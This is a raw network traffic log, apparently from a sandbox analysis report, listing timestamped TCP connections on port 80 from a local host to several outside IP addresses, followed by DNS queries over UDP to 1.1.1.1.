Nov 6, 2024 08:41:29.435246944 CET	50012	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:29.563883066 CET	80	50012	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:29.564070940 CET	50012	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:29.564945936 CET	50012	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:29.569693089 CET	80	50012	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:34.687810898 CET	50013	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:34.692701101 CET	80	50013	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:34.692825079 CET	50013	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:34.704093933 CET	50013	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:34.708956957 CET	80	50013	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:35.580090046 CET	80	50013	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:35.712995052 CET	50013	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:35.731149912 CET	80	50013	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:35.731224060 CET	50013	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:36.213150024 CET	50013	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:37.232212067 CET	50014	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:37.237189054 CET	80	50014	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:37.237348080 CET	50014	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:37.249558926 CET	50014	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:37.254981041 CET	80	50014	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:38.165126085 CET	80	50014	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:38.228621960 CET	50014	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:38.316509962 CET	80	50014	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:38.316570044 CET	50014	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:38.760024071 CET	50014	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:39.805691004 CET	50015	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:39.810559034 CET	80	50015	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:39.810688019 CET	50015	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:39.824002981 CET	50015	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:39.828983068 CET	80	50015	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:39.829193115 CET	80	50015	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:40.729546070 CET	80	50015	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:40.806799889 CET	50015	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:40.894798040 CET	80	50015	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:40.901669979 CET	50015	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:41.338043928 CET	50015	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:42.438366890 CET	50016	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:42.443780899 CET	80	50016	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:42.443896055 CET	50016	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:42.600986958 CET	50016	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:42.605990887 CET	80	50016	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:43.401824951 CET	80	50016	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:43.525574923 CET	50016	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:43.554832935 CET	80	50016	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:43.555035114 CET	50016	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:43.558238029 CET	50016	80	192.168.2.6	31.31.196.17
Nov 6, 2024 08:41:43.563069105 CET	80	50016	31.31.196.17	192.168.2.6
Nov 6, 2024 08:41:48.766396046 CET	50017	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:48.771534920 CET	80	50017	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:48.771604061 CET	50017	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:48.785178900 CET	50017	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:48.790219069 CET	80	50017	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:49.471136093 CET	80	50017	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:49.471369028 CET	50017	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:50.291392088 CET	50017	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:50.296705008 CET	80	50017	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:51.319263935 CET	50018	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:51.324326038 CET	80	50018	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:51.324554920 CET	50018	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:51.339236021 CET	50018	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:51.344048977 CET	80	50018	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:52.009560108 CET	80	50018	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:52.009629011 CET	50018	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:52.838073015 CET	50018	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:52.843250036 CET	80	50018	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:53.958473921 CET	50019	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:53.965720892 CET	80	50019	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:53.965810061 CET	50019	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:54.032172918 CET	50019	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:54.038681030 CET	80	50019	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:54.039218903 CET	80	50019	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:54.616368055 CET	80	50019	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:54.616426945 CET	50019	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:55.541165113 CET	50019	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:55.546026945 CET	80	50019	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:56.561701059 CET	50020	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:56.566658020 CET	80	50020	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:56.566728115 CET	50020	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:56.580204964 CET	50020	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:56.585143089 CET	80	50020	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:57.217624903 CET	80	50020	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:57.262413979 CET	80	50020	13.248.169.48	192.168.2.6
Nov 6, 2024 08:41:57.262564898 CET	50020	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:57.267343044 CET	50020	80	192.168.2.6	13.248.169.48
Nov 6, 2024 08:41:57.272181988 CET	80	50020	13.248.169.48	192.168.2.6
Nov 6, 2024 08:42:02.454905033 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:02.459805965 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:02.459888935 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:02.566617966 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:02.571487904 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545226097 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545241117 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545253038 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545264959 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545274973 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545284986 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545295000 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545296907 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:03.545322895 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:03.545351982 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545397997 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:03.545458078 CET	80	50021	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:03.545552969 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:04.088063002 CET	50021	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:05.125230074 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:05.130270004 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:05.137717962 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:05.145266056 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:05.150476933 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056349993 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056376934 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056394100 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056427002 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:06.056822062 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056834936 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056847095 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056855917 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.056889057 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:06.056905031 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:06.195763111 CET	80	50022	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:06.195893049 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:06.650677919 CET	50022	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:07.669393063 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:07.674659014 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:07.674873114 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:07.686288118 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:07.691418886 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:07.693691969 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558403969 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558455944 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558470011 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558485985 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558521986 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:08.558583021 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:08.558732986 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558748960 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558764935 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558780909 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558788061 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:08.558799982 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.558820963 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:08.671194077 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:08.699812889 CET	80	50023	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:08.699877977 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:09.197529078 CET	50023	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:10.217416048 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:10.222402096 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:10.222476959 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:10.231962919 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:10.237539053 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.111923933 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.111938000 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.111949921 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.112126112 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.112133026 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:11.112250090 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:11.116682053 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.116700888 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.116735935 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.116897106 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:11.264127970 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:11.264646053 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:11.266280890 CET	50024	80	192.168.2.6	217.76.156.252
Nov 6, 2024 08:42:11.271106005 CET	80	50024	217.76.156.252	192.168.2.6
Nov 6, 2024 08:42:16.344455004 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:16.349463940 CET	80	50026	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:16.349565983 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:16.362225056 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:16.367065907 CET	80	50026	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:17.392944098 CET	80	50026	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:17.392961979 CET	80	50026	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:17.393054008 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:17.393080950 CET	80	50026	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:17.393112898 CET	80	50026	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:17.393294096 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:17.399343967 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:17.869574070 CET	50026	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:18.888391018 CET	50027	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:19.089416027 CET	80	50027	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:19.091347933 CET	50027	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:19.103229046 CET	50027	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:19.108134985 CET	80	50027	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:19.923552036 CET	80	50027	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:19.923798084 CET	80	50027	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:19.926700115 CET	50027	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:20.044250011 CET	80	50027	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:20.044312000 CET	50027	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:20.603662968 CET	50027	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:21.623181105 CET	50028	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:21.628225088 CET	80	50028	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:21.628323078 CET	50028	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:21.640878916 CET	50028	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:21.645723104 CET	80	50028	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:21.645909071 CET	80	50028	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:22.488420010 CET	80	50028	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:22.488435984 CET	80	50028	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:22.488516092 CET	50028	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:22.616187096 CET	80	50028	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:22.616241932 CET	50028	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:23.151578903 CET	50028	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:24.170597076 CET	50029	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:24.175683022 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:24.175755978 CET	50029	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:24.184984922 CET	50029	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:24.190838099 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:25.010678053 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:25.010694027 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:25.010711908 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:25.010909081 CET	50029	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:25.130696058 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:25.134015083 CET	50029	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:25.137881041 CET	50029	80	192.168.2.6	161.97.142.144
Nov 6, 2024 08:42:25.143022060 CET	80	50029	161.97.142.144	192.168.2.6
Nov 6, 2024 08:42:30.221756935 CET	50030	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:30.226550102 CET	80	50030	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:30.226614952 CET	50030	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:30.242670059 CET	50030	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:30.247457981 CET	80	50030	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:30.853243113 CET	80	50030	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:30.853271961 CET	80	50030	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:30.853334904 CET	50030	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:30.853601933 CET	80	50030	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:30.853643894 CET	50030	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:31.763257980 CET	50030	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:32.778889894 CET	50031	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:32.784781933 CET	80	50031	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:32.784917116 CET	50031	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:32.796104908 CET	50031	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:32.801122904 CET	80	50031	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:33.416079998 CET	80	50031	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:33.416104078 CET	80	50031	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:33.416564941 CET	50031	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:33.417819023 CET	80	50031	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:33.419332981 CET	50031	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:34.306804895 CET	50031	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:35.326435089 CET	50032	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:35.331424952 CET	80	50032	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:35.331511974 CET	50032	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:35.343238115 CET	50032	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:35.348176003 CET	80	50032	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:35.348186970 CET	80	50032	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:35.969959021 CET	80	50032	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:35.969991922 CET	80	50032	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:35.970041037 CET	50032	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:36.308271885 CET	80	50032	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:36.308332920 CET	50032	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:36.853719950 CET	50032	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:37.873071909 CET	50033	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:37.878149986 CET	80	50033	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:37.878288031 CET	50033	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:37.893212080 CET	50033	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:37.899089098 CET	80	50033	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:38.519113064 CET	80	50033	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:38.519882917 CET	80	50033	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:38.519892931 CET	80	50033	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:38.520024061 CET	50033	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:38.522944927 CET	50033	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:38.522944927 CET	50033	80	192.168.2.6	199.59.243.227
Nov 6, 2024 08:42:38.528259039 CET	80	50033	199.59.243.227	192.168.2.6
Nov 6, 2024 08:42:43.563240051 CET	50034	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:43.568043947 CET	80	50034	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:43.569310904 CET	50034	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:43.581168890 CET	50034	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:43.586076975 CET	80	50034	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:44.565088987 CET	80	50034	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:44.567439079 CET	80	50034	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:44.567492008 CET	50034	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:45.088124037 CET	50034	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:46.140965939 CET	50035	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:46.145840883 CET	80	50035	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:46.145996094 CET	50035	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:46.194065094 CET	50035	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:46.198856115 CET	80	50035	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:47.147092104 CET	80	50035	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:47.149185896 CET	80	50035	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:47.149296999 CET	50035	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:47.697390079 CET	50035	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:48.716188908 CET	50036	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:48.721616983 CET	80	50036	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:48.721704006 CET	50036	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:48.732590914 CET	50036	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:48.737407923 CET	80	50036	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:48.737508059 CET	80	50036	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:49.746179104 CET	80	50036	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:49.749083042 CET	80	50036	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:49.751292944 CET	50036	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:50.244266033 CET	50036	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:51.267227888 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:51.273732901 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:51.275338888 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:51.283243895 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:51.288582087 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.286896944 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.286912918 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.286927938 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.286940098 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.286948919 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.286959887 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.287024021 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.287066936 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:52.287106991 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:52.287739038 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:52.287776947 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:52.300640106 CET	50037	80	192.168.2.6	188.114.97.3
Nov 6, 2024 08:42:52.305725098 CET	80	50037	188.114.97.3	192.168.2.6
Nov 6, 2024 08:42:58.021720886 CET	50038	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:42:58.026551962 CET	80	50038	3.33.130.190	192.168.2.6
Nov 6, 2024 08:42:58.026640892 CET	50038	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:42:58.038606882 CET	50038	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:42:58.043526888 CET	80	50038	3.33.130.190	192.168.2.6
Nov 6, 2024 08:42:58.661890030 CET	80	50038	3.33.130.190	192.168.2.6
Nov 6, 2024 08:42:58.661948919 CET	50038	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:42:59.543231010 CET	50038	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:42:59.746974945 CET	80	50038	3.33.130.190	192.168.2.6
Nov 6, 2024 08:43:00.561873913 CET	50039	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:43:00.567105055 CET	80	50039	3.33.130.190	192.168.2.6
Nov 6, 2024 08:43:00.567220926 CET	50039	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:43:00.580977917 CET	50039	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:43:00.585810900 CET	80	50039	3.33.130.190	192.168.2.6
Nov 6, 2024 08:43:01.193587065 CET	80	50039	3.33.130.190	192.168.2.6
Nov 6, 2024 08:43:01.193658113 CET	50039	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:43:03.338089943 CET	50039	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:43:03.343008995 CET	80	50039	3.33.130.190	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 08:39:41.594624043 CET	65476	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:39:42.490822077 CET	53	65476	1.1.1.1	192.168.2.6
Nov 6, 2024 08:39:58.708657026 CET	59233	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:39:58.720695019 CET	53	59233	1.1.1.1	192.168.2.6
Nov 6, 2024 08:40:12.157268047 CET	62314	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:40:12.281466961 CET	53	62314	1.1.1.1	192.168.2.6
Nov 6, 2024 08:40:25.685594082 CET	63350	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:40:25.729809999 CET	53	63350	1.1.1.1	192.168.2.6
Nov 6, 2024 08:40:39.373497009 CET	55056	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:40:39.392317057 CET	53	55056	1.1.1.1	192.168.2.6
Nov 6, 2024 08:40:52.907351017 CET	59235	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:40:52.951142073 CET	53	59235	1.1.1.1	192.168.2.6
Nov 6, 2024 08:41:06.422233105 CET	64311	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:41:06.742695093 CET	53	64311	1.1.1.1	192.168.2.6
Nov 6, 2024 08:41:20.124200106 CET	51066	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:41:20.757752895 CET	53	51066	1.1.1.1	192.168.2.6
Nov 6, 2024 08:41:34.577125072 CET	55531	53	192.168.2.6	1.1.1.1
